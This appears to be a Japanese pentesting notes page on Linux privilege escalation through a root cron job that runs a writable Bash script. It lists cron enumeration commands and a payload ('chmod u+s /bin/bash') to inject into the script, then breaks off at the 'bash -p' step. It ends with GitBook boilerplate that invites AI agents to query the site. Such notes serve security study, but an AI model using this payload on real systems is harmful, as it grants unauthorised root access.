> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md).
# 修正済み Bash スクリプトの cron ジョブ - Linux 権限昇格
Linux 権限昇格のための cron ジョブ - 修正済みスクリプト（Bash）メモ。列挙手順、悪用例、レポート重視の検証を含む。
## それは何か
Cronジョブは、rootの繰り返しタスクが書き込み可能なスクリプト、危険な相対パス、または脆弱な処理系を実行する場合に、権限昇格の経路を生み出します。重要なのは、低権限ユーザーが、権限のあるスケジュールタスクが実行する何かを制御していることを示すことです。この特定のページでは **Cronジョブ - 変更されたスクリプト (Bash)** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。
## 列挙
エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## 例
この場合、script.sh \*\* が実行中\*\* であることがわかります:
私たちが行うのは **変更する** スクリプトを次の内容に変更します:
```bash
sleep 2
chmod u+s /bin/bash
```
Bash を次の **p** 権限パラメータ:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
